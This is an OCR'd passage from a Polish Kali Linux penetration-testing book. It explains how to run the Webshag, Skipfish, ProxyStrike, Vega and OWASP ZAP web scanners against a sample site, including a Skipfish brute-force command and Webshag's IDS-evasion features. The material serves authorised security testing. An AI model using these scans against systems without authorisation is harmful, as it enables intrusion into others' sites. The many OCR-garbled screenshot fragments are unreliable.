W ebshag W ebshag to wielowątkowe, wieloplatformowe narzędzie przeznaczone do przeprowadzania audytów serwerów WWW. Pakiet ten pozwala na zbieranie informacji o serwerach W W W z wykorzystaniem typowych mechanizmów, takich jak skanowanie portów komunikacyjnych, skanowanie adresów U R L czy fuzzing plików. Za pomocą programu W ebshag możesz skano wać serwery W W W używające protokołów H TTP i H TTPS, korzystać z serwerów proxy czy 1 Exploit to specjalnie przygotowany kod lub program, napisany w celu wykorzystania błędu lub luki w zabezpieczeniach stron internetowych, aplikacji czy systemów operacyjnych, pozwalający na dokonywa nie nieautoryzowanych zmian, uzyskanie dostępu do atakowanego celu bądź wręcz przejęcie nad nim kontroli — przyp. tłum.
92
R o z d z ia ł 3. • A ta k i na s e rw e ry a p lik a c ji in te rn e to w y c h
|
stosować uwierzytelnianie H TTP (zarówno podstawowe, jak i digest). Dodatkowo W ebshag posiada mechanizmy utrudniające wykrycie przeprowadzanego skanu przez systemy ID S analizujące korelację między żądaniami napływającymi do serwera. Webshag ma również inne, zupełnie innowacyjne możliwości, takie jak wyszukiwanie i two rzenie listy nazw domen obsługiwanych przez dany serwer lub fuzzing aplikacji interneto wych z wykorzystaniem dynamicznie generowanych nazw plików. Webshag potrafi również wykonywać tzw. fingerprinting stron internetowych (czyli zbieranie informacji o danej stronie, pozwalających na utworzenie je j unikatowego „odcisku palca”) i jest przy tym zupełnie od porny na zmiany zawartości samych stron. Taka funkcjonalność jest wykorzystywana przez mechanizm usuwania tzw. m iękk ich b łęd ó w 404, generowanych przez serwery broniące się przed skanowaniem swoich zasobów. Webshag może działać zarówno z graficznym interfejsem użytkownika, jak i z poziomu kon soli systemu i funkcjonuje na platformach Linux oraz Windows. W systemie Kali Linux mo żesz go uruchomić, wybierając z menu Program y grupę K ali Linux i następnie polecenie Web A pplications/W eb Vulnerability S canners/w ebshag-gui. Obsługa programu Webshag nie jest trudna. Każde z jego narzędzi posiada swoją osobną kartę w górnej części ekranu. Wybierz kartę żądanego narzędzia, w polu Target(s) wpisz adres URL celu i kliknij przycisk OK. Narzędzia z poszczególnych kart możesz uruchamiać równolegle. Do wyboru masz następujące mechanizmy: Port Scanning (skanowanie portów), S pider (robot sie ciowy), URL Scan (skanowanie adresów URL) oraz Fuzzing (fuzzing aplikacji internetowych). Na kolejnych czterech rysunkach zamieszczamy zrzuty ekranu przedstawiające okno programu Webshag podczas skanowania portów, analizowania struktury witryny za pomocą robota sie ciowego, skanowania adresów U R L oraz fuzzingu witryny w w w .thesecu rityblogger.com :
R o z d z ia ł 3. • A ta k i na s e rw e ry a p lik a c ji in te rn e to w y c h
|
Webshag pozwala na eksportowanie danych podczas audytu w formatach X M L , H TM L oraz TXT. Raport generowany przez ten program je st podzielony na logiczne sekcje, dzięki czemu może być przedstawiony jako samodzielny raport z audytu danego serwera lub wykorzystany później do przygotowania raportu końcowego, który zostanie dostarczony zleceniodawcy po zakończeniu testów penetracyjnych. Następne dwa rysunki przedstawiają okno opcji eksportu danych oraz fragment wygenerowanego raportu.
L x p o r t ite s u lts : Q Pim I S t r o n t *
Q In fo
Q S p irit*
Q U R I Siih iiim 1!
O F ii/ / t *
O u tp u t F ile ; /r u o U D e ;.k lu p /ie ;.u lb
O p en
O iii [Mil F ile F o rm n lxm l
L
T
xm l h rm l tx t
Audit Report
VCBSM 9/1.10
Port Scanner 6 4 .9 0 .3 0 .8 0 80
xnl t: PoettłJC r a te d
In fo S p id e r
Więcej szczegółowych informacji na temat programu Webshag znajdziesz na stronie http://www.scrt.ch/en/ attack/do wntoads/webshag.
Skipfish Skipfish to narzędzie wspomagające gromadzenie informacji o aplikacjach sieciowych. Program ten pozwala na przygotowanie interaktywnej mapy badanej witryny internetowej z wykorzy staniem własnego, rekurencyjnego robota sieciowego oraz dodatkowych metod słownikowych. Po zakończeniu skanowania Skipfish generuje listę znalezionych podatności dla poszczególnych elementów witryny. Program Skipfish możesz uruchomić, wybierając z menu Programy grupę Kali Linux i następnie polecenie W eb A pplications/W eb V ulnerability Scanners/skipfish. Przy pierwszym uruchomie niu programu pojawi się okno konsoli, w którym zostaną wyświetlone opcje wywołania programu. D o wyszukiwania podatności i luk w zabezpieczeniach witryny internetowej Skipfish może używać słownika zdefiniowanego przez pentestera lub słowników wbudowanych w ten program.
95
fl
K a li L in u x . T e s ty p e n e tra c y jn e
Niektóre słowniki programu Skipfish mogą być niedostępne w Twojej dystrybucji systemu Kali Linux. Najnowszą wersję skanera Skipfish oraz domyślne słowniki możesz pobrać ze strony https://code.google.eom/p/skipfish/.
Wszystkie dostępne słowniki są spakowane w jednym pliku o nazwie dictionary. li:-/Desktop/skipfisb-2.lObAiictionaries# Is complete.wl extensions-oríLy.wL medium .wl minimal .wl
Skaner Skipfish posiada wiele opcji. Aby uruchomić na przykład skanowanie danej witryny internetowej z wykorzystaniem własnego słownika, w wierszu poleceń konsoli wpisz polece nie sk ip fish , następnie wpisz opcję -W oraz ścieżkę dostępu do żądanego pliku słownika, da lej wpisz opcję -o oraz nazwę folderu, w którym zapisane zostaną wyniki działania programu, i wreszcie na końcu wpisz adres witryny internetowej, którą chcesz przeskanować. Skipfish -o < fo ld er na wyniki> -W < lo k a liz a c ja słownika> Na przykładzie zamieszczonym poniżej przedstawiamy sposób użycia programu Skipfish do skanowania witryny w w w.thesecurityblogger.com z wykorzystaniem pliku słownika o nazwie com plete.w l. Po uruchomieniu tego polecenia Skipfish utworzy na pulpicie folder o nazwie Skipfishoutput. Poszczególne elementy w wierszu polecenia oznaczają kolejno: skipfish to oczywiście nazwa polecenia, -o /root/Desktop/Skipfishoutput to definicja folderu, w którym zapisane zostaną wyniki działania, -W /root/Desktop/complete.wl to lokalizacja i nazwa pliku słownika, a http://www.thesecurityblogger.com to nazwa witryny, która będzie przedmiotem skanowania. root@kal±:~# skipfish -o /root/Desktop/Skipfishoutput -W /root/Desktop/complete.wl http://www.thesecuri.tyl logger.corrfl_________________________________________________________________________________________________________
Zwróć uwagę na fakt, że jeżeli w wierszu wywołania skanera użyjesz opcji -W, to domyślne słowniki programu Skipfish nie zostaną użyte. Jeżeli chcesz dodawać własne słowa do słownika domyślnego, powinieneś najpierw utworzyć kopię oryginalnego pliku domyślnego słownika, nadać jej inną nazwę, otworzyć ją w ulu bionym edytorze tekstu i usunąć pierwszy wiersz, zawierający dyrektywę #ro (która powoduje, że plik jest traktowany jako tylko do odczytu). Fragment zawartości słownika domyślnego wraz z widoczną w pierwszym wierszu dyrektywą #ro został przedstawiony na rysunku poniżej. complote wl Filc Cd-t Search Options Help jsro eg 1 1 Iz es 1 1 as es i 1 asflix es 1 1 a sp es 1 1 a sp x eg 1 1 b ak es 1 1 b at eg 1 1 b in eg 1 1 b z2 es 1 1 c es 1 1 CC eg 1 1 cfg es : : c fm es 1 1 egi er. i i c l rtr.r. eg 1 1 cn f eg i i co n r i i co n fi q
96
R o z d z ia ł 3. • A ta k i na s e rw e ry a p lik a c ji in te rn e to w y c h
|
Jeżeli program zostanie poprawnie uruchomiony, w oknie konsoli pojawi się ekran powitalny skanera Skipiish z inform acją, że skanowanie rozpocznie się po naciśnięciu dowolnego klawisza lub po upływie 60 sekund. WelcoBt* to skipfish. Heie die s o w useful tips: 1) To abort the scan at any l i w , press t r l C. A partial report will be written to the specified location. To view a list of currently scanned URLs, you can press spac* at any tiae during the scan. 2) Watch the nuuber requests per second shown on the aain screen. If this figure drops below 100-200, the scan will likely take a very long tiae. 1) the scanner does not auto-1 twit the srope ot the sranj on roaplex sites, you way need to specify locations to exclude, or llalt hrutr-forre steps. 4) There are several new releases of the scanner every aonth. If you run into trouble, check for a newer version first, let the author know next. More info: http://code.google.coa/p/skipfish/wiki/Knownlssues NUIh: Ihe scanner is currently configured tor directory brute-torce attacks, and will aake about 241S44 requests per every tu//able location. II this is not what you wanted, stop now and consult the docuaentation. Press any key to continue (or wait 60 seconds)... |
T
Aby wyświetlić szczegółowe informacje na temat skanu, naciśnij klawisz spacji. Skanowanie wybranej witryny może zająć od około 30 sekund do nawet kilku godzin. Aby wcześniej za kończyć proces skanowania, możesz nacisnąć klawisze C tr l+ C . skipfish ve rs io n 2. 69 b by l c am tu f@ go og le .c om - ww w. th es e c u r i t y b l o g g e r . c o m Scan statistics:
Gdy zakończy się skanowanie (lub naciśniesz klawisze C trl+ C ), Skipfish wygeneruje w folde rze wyjściowym całe mnóstwo plików. Aby wyświetlić wyniki działania programu, kliknij plik index.htm l, co spowoduje uruchomienie przeglądarki. Poszczególne sekcje raportu można zwijać i rozwijać, klikając odpowiednie przyciski. Poniżej przedstawiamy wygląd przykładowego raportu wygenerowanego przez program Skipfish.
97
fl
K a li L in u x . T e s ty p e n e tra c y jn e
ProxyStrike ProxyStrike to narzędzie spełniające rolę serwera proxy, pozwalające na wyszukiwanie po datności i luk w zabezpieczeniach podczas przeglądania witryn i aplikacji internetowych. Program działa jak zwykły serwer proxy nasłuchujący na domyślnym porcie 8080, co ozna cza, że aby z niego skorzystać, musisz skonfigurować swoją przeglądarkę tak, aby korzystała z serwera proxy „dostępnego” na tym porcie — dzięki temu cały ruch sieciowy związany z prze glądaniem danej witryny będzie przechodził przez program ProxyStrike, pozwalając mu na przeprowadzanie analizy badanej witryny. Zastosowanie serwera proxy jest znakomitym rozwią zaniem, pozwalającym na wygodne wyszukiwanie, identyfikację, przechwytywanie i modyfi kowanie ruchu sieciowego. Aby skonfigurować przeglądarkę, taką jak Firefox, do pracy z pakietem ProxyStrike, z menu tej przeglądarki wybierz polecenie Tools/O ptions (N arzędzia/O pcje). Na ekranie pojawi się okno dialogowe opcji przeglądarki. Kliknij opcję A d v an ced (Zaaw ansow ane), przejdź na kartę N etw ork (Sieć) i kliknij przycisk Settings (Ustaw ienia). Zaznacz opcję M anual Proxy (Ręczna konfiguracja serw erów proxy) i jako adres serwera proxy wpisz adres IP Twojego komputera, a następnie ustaw port 8080 (oczywiście, o ile nie zmieniłeś wcześniej domyślnego numeru portu, na którym pracuje ProxyStrike).
98
R o z d z ia ł 3. • A ta k i na s e rw e ry a p lik a c ji in te rn e to w y c h
OOO ; Q1 Ö G e n e ra l
fl
w
Tabs
C o n te n t
A p p lic a t io n s
P riv a c y
S e c u rity
S ync
A dvanced
C o n fig u re P roxies to A ccess th e In te rn e t O N o p ro x y A u to -d e te c t p ro x y se ttin g s f o r th is n e tw o rk Use system p ro x y s e ttin g s
{*) M a n ua l p ro x y c o n fig u ra tio n : HTTP Proxy:
1 7 2 .1 6 .7 6 .1 3 1
Port:
8008
3
C l Use th is p ro x y se rve r f o r a ll p ro to c o ls
Aby uruchomić ProxyStrike w systemie Kali Linux, wybierz z menu głównego grupę K ali Linux, przejdź do kategorii Web Applications, a następnie wybierz polecenie Web Vulnerability Scanners/proxystrike. Od tej chwili (przy założeniu, że poprawnie skonfigurowałeś przeglądarkę do używania pakietu ProxyStrike), na karcie Comms będziesz mógł obserwować przechwycony ruch sieciowy. W rozdziale 6., „Ataki na aplikacje internetowe i serwery W W W ”, poświęcimy pakietowi ProxyStrike znacznie więcej uwagi. P r o x y S t r ik e v 2 . 1
H e lp Com m s
Request Stats
Variable Stats
M e th o d
Config
Plugms
Log
Repeat Request
Crawle
T a rg e t
1
i
GET
h t tp : //w w w . th c s c c u r it y b lo q q c r .c o m /
Accept. te x t/h tm l.a p p lic a tio n /x h tm l+ x m l.e p p lic a tio n /x m l.q - 0 . 9 . a/ * . q - 0.8 U s e r A g e n t: M o z iU a /5 .0 (M a c in to s h ; I n t e l M a c O S X 1 0 8 ; r v :2 0 0 ) G e c k o /2 0 1 0 0 1 0 1 F ir e fo x / 2 0 .0 C o n n e c tio n ' c lo s e
Cookie. _ _ u tm a - 2 5 3 7 4 8 3 0 0 . 1 7 5 7 2 5 5 8 5 7 . 1 3 6 6 9 2 3 7 3 1 . 1 3 6 7 3 5 4 0 7 4 . 1 3 7 4 0 9 7 1 4 0 . 3. u t m z » 2 5 3 7 4 8 3 0 0 . 1 3 6 6 9 2 3 7 3 l . l . l . u t m c s r * ( d ir e c t) |u t m c c n * ( d ir e c t) lu tm c m d * (no ne ); q ra » P 0 2 0 1 9 2 2 5 1 0 4 1 3 6 6 9 2 3 7 3 3 1 1 5 ; _ u tm h » 2 5 3 7 4 8 3 0 0 1 1 0 1 3 7 4 0 9 7 1 4 0 ; _ u tm c - 2 5 3 7 4 8 3 0 0
99
fl
K a li L in u x . T e s ty p e n e tra c y jn e
Zastosowanie robota sieciowego to prosty sposób na przeprowadzenie skanowania witryny internetowej pod kątem wyszukiwania podatności i luk w zabezpieczeniach implementacji języka SQ L, protokołu SSL czy wtyczki XSS. Aby skorzystać z robota sieciowego, nie musisz konfi gurować pakietu ProxyStrike jako serwera proxy. Jeżeli na przykład chcesz uruchomić robota na witrynie, która korzysta z wtyczek XSS, przejdź na kartę Plugins, wybierz z listy wtyczkę XSS & SSL attacks i zaznacz opcję Enable. Następnie przejdź na kartę Crawler. W polu URL wpisz adres witryny internetowej (nie zapomnij na początku adresu dodać http://), zaznacz opcję Craw l using plugins i kliknij przycisk Stopped (nazwa przycisku zamieni się na Running). Użycie wtyczek może znacząco zwiększyć czas, jaki będzie niezbędny do zakończenia procesu ska nowania. ProxyStrike wyświetla na karcie C raw ler pasek informujący o postępie skanowania. Comms
R equest S ta ts
■
0 «nabli
100
V ariab le Stats
* —J
P lu g in s t i t r t i o n '
XS S & SSI a ttM k s £
Confiq
«
Pluym s
R o z d z ia ł 3. • A ta k i na s e rw e ry a p lik a c ji in te rn e to w y c h
|
Po uruchomieniu skanowania wyniki działania wtyczek robota wyświetlane są na karcie Plugins. Wyniki działania wraz z informacjami o znalezionych podatnościach i lukach w zabezpiecze niach mogą zostać wyeksportowane do plików w formacie H TM L lub XM L. C om m s
R e q u e s t S ta ts
P lu g in s e le c tio n :
q
V a ria b le S ta ts
XSS & SSI a t ta c k s
C o n tig
P lu g in s
Log
R ep ea t R e q u e st
C ra w le r
▼
R ese t c a c h e
E x p o rt H T M L
enable
E x p o rt XM1
Request threads 11
uii
v a n a b le
M e th o d
cat
GET
tag
GET
p
GET
in je c to n s A v a ila b le
- h ttp ;//w w w .th e s e c u n ty b lo g g e r.c o m /? c a t= 2 4 2
http://www.lhesecuntyblogger.com/7tdg~lhe-bdldrK.ing-dtt ‘ (S in g le Q u o te s ) (N o rm a l E n c o d in g ). ( ) (P a re n th e s is ) (N o r m a l E n c o d in g )
http://www.thesecuntyblogger.com/7p 2068 - h ttp ://w w w t h r s r c u n ty b lo g g r r c o m /? .itt« ic h m r n t _ id = ?071
- http://www.theseeuhtybloqqer.eom/?paqe
a t ta c h m e n t id GET
id—2
p a g e jd
get
te e d
GET
- http://www.thesecuntyblogger.com/7teed-comments-rss2 ( ) (P a re n th e s is ) (N o r m a l E n c o d in g )
Na karcie L og wyświetlane są informacje o tym, jaki jest postęp poszczególnych zadań skanowania wybranych witryn internetowych. Zawartość tego dziennika może zostać wyeksportowana do pliku tekstowego i dołączona później do raportu końcowego. Z kolei na karcie Craw ler znajdziesz listę wszystkich łączy, jakie zostały znalezione na badanej witrynie internetowej. C om m s
R eq ue s t S ta ts
V a ria b le S ta ts
C o n fig
P lu g irts
Log
R ep ea t R e q u e st
C ra w le r
L o g o u tp u t:
D y in g s q l In je c tio n o n ; [ UR L; h ttp .//w w w . th e s e c u n ty b lo g g e r.c o m /w p m c lu d e s /|s /th ic k b o x /th ic k b o x | S 'v e r = j. i- 2 0 1 2 1 1 0 b
j
= = = = = = = = = = = = = = = = = = XSS/SSI = = = = = = = = = = = = = = = = = = = = [ U R L: h t tp : //w w w r h r s r c u r lr y b lo q q r r . c o m /w p ln r lu d r s / ) s /r h ic k b o x / th ir k b o x .|s ? v r r > 3 .1 2 0 1 2 1 1 0 5 ] S ta b 1 • DONE
Dying vet... + + + + + + + + + + + + + + + + + + F IN ISH XSS/5SI + + + + + + + + + + + + + + + + + ( U R I: h t tp : //w w w . th r s r c u r ity b lo g g r r .c o m /w p in c lu c irs /js /th ic k h o x /th ic k b o x j s ? v r r = 3 1 2 0 1 2 1 1 0 5 ] ......................................
XSS/SSI = = = = = = = = = = = = = = = = = = = =
I URL http7/www.thesecuntyblogger.com/?cat 242 ) S ta b ? - DONE U R L iS STABLE
To jednak nie wszystko — ProxyStrike ma znacznie więcej możliwości. W ięcej szczegółowych informacji na ten temat znajdziesz na stronie http://w w w .edge-security.com /proxystrike.php.
Vega
@ VEGA 10 Vega to kolejne narzędzie przeznaczone do testowania zawartości witryny internetowej, po zwalające na znalezienie wszystkich znajdujących się na niej łączy oraz analizę parametrów umieszczonych na niej formularzy.
101
fl
K a li L in u x . T e s ty p e n e tra c y jn e
Aby uruchomić program Vega, przejdź do grupy Kali Linux, a następnie wybierz polecenie Web A pplications/W eb Vulnerability Scanners/Vega. Na monitorze pojawi się przez moment ekran powitalny aplikacji i po chwili wyświetli się główne okno programu. S u b g ra p h V ega F ile
Scan
W in d o w
H e lp
» P r o x y is n o t r u n n in g
j|
7 1 M o f ?4 R M
Ifij
W prawym gómym rogu okna programu znajdziesz przyciski kart Scanner oraz Proxy. Aby użyć pakietu Vega jako skanera, kliknij kartę Scanner, a następnie z menu programu wybierz polecenie Scan/Start N ew Scan.
Na ekranie pojawi się okno dialogowe S elect a Scan Target. W polu E n ter a b a se URI f o r scan wpisz adres witryny (w naszym przykładzie będzie to www.thesecurityblogger.com) i kliknij przycisk Next (zobacz pierwszy rysunek na następnej stronie). W kolejnym oknie znajdziesz szereg opcji pozwalających na wybranie testów, jakim poddana zostanie skanowana witryna. Do dyspozycji masz dwie główne kategorie, Injection oraz Response
102
R o z d z ia ł 3. • A ta k i na s e rw e ry a p lik a c ji in te rn e to w y c h
|
P rocessing, z których każda zawiera bardzo wiele dodatkowych opcji. Rozwiń wybraną kate gorię, zaznacz żądane opcje skanowania i kliknij przycisk Next. Se le ct M odu les Choose w h ic h s ca n n e r m o d u le s to e n a b le f o r th is scan
VEGA
S e le c t m o d u le s t o run:
0
Injection M odules □
Format String Injection Checks
0
Cross Domain Policy A u ditor
0
XM L Injection checks
0
Blind SQL T e x t Injection D iffe re n tia l Checks
0
XSS Injection checks
□
Integ er O v e rflo w Injection Checks
0
S h ell Injection Checks
0
Blind OS Command Injection
0
Remote File Include Checks
1 I Blind SQ L Injection Timing Analysis Checks 0
D ire c to ry Listing and Traversal Checks
t¡7 1 R l i r ^ c m
F i r-,1 ■n f i n n H iffrt
Na dwóch kolejnych ekranach znajdziesz opcje pozwalające na dodawanie ciasteczek (ang. cookies) oraz zdefiniowanie parametrów, które zostaną wyłączone ze skanu, co pozwoli na unik nięcie fuzzingu badanej witryny internetowej (opcjonalnie). W większości przypadków możesz na obu ekranach pozostawić wartości i opcje domyślne. Aby zakończyć konfigurację, kliknij przy cisk Finish. Program Vega rozpocznie skanowanie witryny oraz wyświetlanie znalezionych podatności i luk w zabezpieczeniach. Zidentyfikowane podatności i luki są grupowane według oceny ryzyka, jakie stanowią dla badanej witryny.
103
fl
K a li L in u x . T e s ty p e n e tra c y jn e
W lewej gómej części okna znajduje się panel o nazwie W ebsite View, w którym wyświetlają się skanowana witryna oraz inne witryny, które są z nią powiązane. W lewym dolnym rogu zlokalizo wano panel o nazwie Scan A lerts, w którym znajduje się zestawienie znalezionych podatności, pogrupowanych według kategorii zagrożenia. Klikając przyciski z lewej strony poszczególnych kategorii, można zwijać i rozwijać ich widoki. Kiedy klikniesz nazwę określonej podatności znale zionej przez skaner, Vega wyświetli w oknie obok szczegółowe informacje o danym „znalezi sku” wraz z opisem tego, jakie potencjalnie zagrożenie stanowi ono dla badanego systemu. Rysunek zamieszczony poniżej przedstawia okno programu Vega wyświetlające jedną z po tencjalnych luk w zabezpieczeniach witryny w w w .thesecu rityblogger.com , pozwalających na przeprowadzenie ataku X SS (ang. C ross-site scripting) (zobacz pierwszy rysunek na następnej stronie). Vega posiada również moduł serwera proxy, który pozwala na przeglądanie żądań i odpowiedzi przesyłanych między przeglądarką a witryną internetową. Dane w sekcji Proxy pojawiają się po uruchomieniu skanowania (zobacz drugi rysunek na następnej stronie). W środkowej części okna skanera Vega możesz wyświetlić zarówno podsumowanie całego skanu, jak i szczegółowe informacje na temat poszczególnych podatności i luk w zabezpieczeniach. Informacje wyświetlane w tym panelu możesz bez problemu skopiować i umieścić na przykład w raporcie końcowym (zobacz pierwszy rysunek na stronie 106).
104
R o z d z ia ł 3. • A ta k i na s e rw e ry a p lik a c ji in te rn e to w y c h
/ w r p H n c l u d e s / a d i ii i i f b a i . p h p
R is k
O O ffi c
) RTQlirST GET / w p H n i lu d t n / a d m i n - b a i . p h p
^
Ô nttp://www v
t h c s c c u r ity b
O
M e d iu m ( 1 0 5 )
v
* L o c a l h l c v y i t c m Pa
k nFsouncF contfnt /h o m e /f u n k t r ib « / t h e v e c u r iL y b lo 99w r.c o m /w p -in c lu d e s /a d m in - b a r.p h p
' /w p - in c lu d e s /a u t
► D IS C U S S IO N
’ /w p - m c lu d c s /c a r
v e q a h a s d e te c te d a p o s s ib le a b s o lu te file s y s te m p a th (i.e . o n e th a t is n o t re la tiv e to th e w eb ro o t). This in fo rm a tio n is se n s itiv e , a s It m ay re ve a l t h in g s a b o u t th e s e rv e r e n v iro n m e n t to an -.tf--irl/cir Ic'Fnav.i^nfi fit fbfi irt nm It. .n if r n In c c n -irn rkci. c h n n c A r c f r u r r n r r f nr hlln-H nftn c t.r Cull
.1
1 I v j p m d u d e s /c a t
C3 «■ F
R e q u e s ts
“ (1
R equest
S ta tu s
L e n g th
T im e
h t t p / / w w w th e s i GET
/
200
159612
3926
1
h t t p / / w w w . th e s e GET
/w p -c o n te n t/
200
0
162
2
h t t p : / / w w w . t h c s ( GET
/w p - in c lu d c s /
200
10437
251
3
h t tp : //w w w . th e s « G E T
200
42
1123
4
h t t p : / / w w w . t h e s « GET
/w p - m c lu d e s /js /
200
5152
217
5
h t t p . / / w w w . t h c s i GET
/w p - in c lu d e s /th c m t 2 0 0
877
90
ID
H ost
0
imÊÊm 02 0
M e th o d
j /x m lrp e .p h p
in
= 1
B
R equest
>:>
/• - . Response
• t it le * Joey M u n u • Ihw Security Blogger * /title > < lin k r e l = " p r o f i le " h r e f = " h ttp : //g m p g o r g / x f n / 1 1 ” /> c lin k r e l - " s t y l e s h e e t " t y p e - " t e x t / c s s " m e d ia - “ a U " h r e f - " h t t p 7 / w w w th e s e t u r it y h li "p m g b a c k " h r # f - " h t t p . / / w w w . th e v e c u n ty b lo g g e r .c o m /x m lrp c .p h p " / •
lin k
lin k r e « " a lte r n a te " ty p e = ~ a p p lk a t io n / r s s + x m t" t i t l e s "T h e S e c u r ity B lo g g e r & ra q u c lin k r e l « " a l t e r n a t e " f y p e = " a p p lk a tio n /r s s t x m l" tit l e « " T h e S e c u r ity B lo g g e r &raqu< c lin k
1 e l- 's t y l e s h e e t '
id - 'th ic k b o x - c s s ' h r e f - * h t t p . / / w w w .th e s e c u r ity b lo g g e r .c o m /w
c lin k r e l= 's t y le s h e e t ' id = ‘g d s r _ s ty te _ m a in - c s s ' h r e f = ‘h t tp : //w w w . th e s e c u r it y b lo g g e a s % ? 1 s lp tr y s r a l% ? 3 s 1 p d a r k n e s s X ? 3 s lp o x y q e n i£ ? 1 s lg o x y q e n q if* 2 ? 3 s 1 p p la in % ? 3 e x t /c s s ' m e d ia - 'a ir Ic lin k r e l = 's t y le s h e e t' id = ‘< jd s r _ s tv le _ x tr a - c s s ' h r e l
a *
1 o f ? h ig h lig h ts
P ro x y is
Owasp-Zap Pakiet Owasp-Zap, znany również pod nazwą Zaproxy, to serwer proxy pozwalający na prze chwytywanie żądań i odpowiedzi przesyłanych między przeglądarką i serwerem W W W (ang. in tercept proxy), wykorzystywany do testowania zabezpieczeń aplikacji internetowych.
Aby uruchomić program Owasp-Zap, w menu głównym systemu Kali Linux przejdź do grupy Kali Linux, a następnie wybierz polecenie W eb Applications/W eb Vulnerability Fuzzers/owasp-zap. Po wybraniu tego polecenia na ekranie pojawi się okno z treścią licencji pakietu Owasp-Zap, którą musisz zaakceptować, aby móc skorzystać z programu. Aby to zrobić, kliknij po prostu przycisk A ccept. Gdy zaakceptujesz licencję, na ekranie wyświetli się okno dialogowe z pytaniem, czy chcesz utworzyć certyfikat SSL (ang. SSL R oot CA certificate — certyfikat głównego urzędu certyfi kacji). Wygenerowanie takiego certyfikatu pozwala pakietowi Owasp-Zap na przechwytywa nie szyfrowanych połączeń HTTPS między przeglądarką a serwerem WWW. Takie rozwiązanie jest niezbędne, jeżeli chcesz testować aplikacje wykorzystujące protokół H TTPS. Aby przejść do okna generowania certyfikatu, kliknij przycisk G enerate.
Na ekranie pojawi się okno Dynamic SSL Certifwates, które pozwala na wygenerowanie nowego certyfikatu lub zaimportowanie certyfikatu już posiadanego. Aby wygenerować nowy certyfi kat, kliknij przycisk G en erate. Utworzony certyfikat możesz zapisać na dysku. Aby to zrobić,
106
R o z d z ia ł 3. • A ta k i na s e rw e ry a p lik a c ji in te rn e to w y c h
fl
kliknij przycisk Save i wybierz folder, w którym chcesz go umieścić. Nowo utworzony plik zawierający certyfikat nosi nazwę ow asp_ cap _ root_ ca.cer.
Gdy zapiszesz certyfikat na dysku, kliknij przycisk OK i uruchom przeglądarkę. Jeżeli korzystasz z przeglądarki Firefox, z menu głównego wybierz polecenie Tools/O ptions (N arzędzia/O pcje). Przejdź na kartę E ncryption (Certyfikaty) i kliknij przycisk View C ertificates (W yświetl certy fikaty). Na ekranie pojawi się okno menedżera certyfikatów. Kliknij przycisk Im port (Importuj), a następnie odszukaj i zaznacz certyfikat wygenerowany wcześniej przez Owasp-Zap (plik z roz szerzeniem .cer). Firefox zapyta Cię, dla kogo ten certyfikat powinien być uważany za zaufany. Zaznacz wszystkie trzy opcje, czyli kolejno zaufane strony internetowe, użytkowników poczty elektronicznej oraz deweloperów aplikacji. Na zakończenie dwukrotnie kliknij przycisk OK. You have been asked to trust a new Certificate Authority (CA). Do you want to trust "OWASP Zed Attack Proxy Root CA* for the following purposes? 0 Trust this C A to identify websites. 0 Trust this C A to identify email users. Trust this CA to identify software developers. Before trusting this CA for any purpose, you should examine its certifícate and its policy and procedures (if available). View
Examine CA certificate
Cancel
OK
107
K a li L in u x . T e s ty p e n e tra c y jn e
Kolejnym etapem przygotowań jest skonfigurowanie przeglądarki do przesyłania całego ruchu sieciowego przez nasz przechwytujący serwer proxy. Aby to zrobić w przeglądarce Firefox, z menu wybierz polecenie Tools/Options (Narzędzia/Opcje). Na ekranie pojawi się okno dialogowe opcji przeglądarki. Kliknij opcję A dvan ced (Zaawansowane), przejdź na kartę N etw ork (Sieć) i kliknij przycisk Settings (Ustawienia). Zaznacz opcję M anual Proxy (Ręczna konfiguracja .serwerów proxy) i jako adres serwera proxy wpisz localhost, a następnie ustaw port 8080 (domyślny port komunikacyjny pakietu Owasp-Zap). Zaznacz opcję Use this proxy server f o r all protocols (Użyj tego serw era proxy d la w szystkich protokołów ) i kliknij przycisk OK. Na rysunku poniżej przedstawiono wygląd okna konfiguracji przeglądarki Firefox po zakończeniu konfiguracji. C o n n e c tio n S e ttin g s
C o n figu re Proxies to A cc e ss the Internet O No proxy O Auto-detect proxy settings for this network O Use system proxy settings '• Manual proxy configuration: H T TP Proxy
localhost
Port:
8080H
7 Use this proxy server for all protocols
No Proxy for: localhost. 127 0 0 1
Example mozilla org. net nz. 192 168 1 0/24 Automatic proxy configuration U R L
Help
Cancel
OK
Teraz przejdź do okna programu Owasp-Zap. W lewym górnym rogu okna powinieneś zoba czyć panel o nazwie Sites, którego zawartość będzie się pojawiać, w miarę jak będziesz odwiedzał w przeglądarce kolejne witryny internetowe. W panelu po prawej stronie okna będziesz mógł przeglądać wszystkie żądania i odpowiedzi przesyłane między przeglądarką a serwerem WWW. Pakiet Owasp-Zap pozwala na łatwe przeglądanie zasobów wykorzystywanych przez poszczególne strony witryny internetowej.
108
R o z d z ia ł 3. • A ta k i na s e rw e ry a p lik a c ji in te rn e to w y c h
|
Korzystając z pakietu Owasp-Zap, możesz również przeprowadzać ataki na wybrane witryny i aplikacje internetowe. Aby to zrobić, przejdź na kartę Quick Start i w polu URL to attack wpisz adres URL witryny. Poniżej przedstawiono wygląd okna programu Owasp-Zap podczas skanowa nia witryny www. thesecurityblogger. com .
Program Owasp-Zap do analizy witryny wykorzystuje swojego własnego, wbudowanego robota sieciowego, który pozwala na zidentyfikowanie wszystkich hiperłączy powiązanych z tą witryną oraz na przeprowadzenie skanu witryny w poszukiwaniu podatności i luk w zabezpieczeniach. Wyniki skanowania wraz z opisami poszczególnych podatności znajdziesz na karcie Alerts. Spider j History
Forced Browse / '
j
Fuser s
j
J_
r Ö Alerts (4) ► r* Cross-domain JavaSchpt source file inclusion (273) » f r - Private IP disclosure (3) ► IÎS i- X-Content-Type-Options header missing (91) ► |f| ^ X-Frame-Options header not set (91)
webSockets Params j Http Sessions ^ Break Points X Alerts ^ _ r C ro ss-d o m ain Ja vaS crip t s o u rce file in clu sio n URL http://www.thesecurityblogger.com Risk: R> Low Reliability: Warning Parameter: https://apis.google.com/js/plusone.Js Attack: Description:___________________________________
£
AJAX Spi Act
Zwróć uwagę na fakt, że Owasp-Zap domyślnie nie automatyzuje procesu uwierzytelniania. Jeżeli korzystasz wyłącznie z ustawień domyślnych, to wszystkie żądania uwierzytelniania użytkownika, które zostaną wystawione podczas zautomatyzowanego skanowania, zakończą się niepowodzeniem.
109
fl
K a li L in u x . T e s ty p e n e tra c y jn e
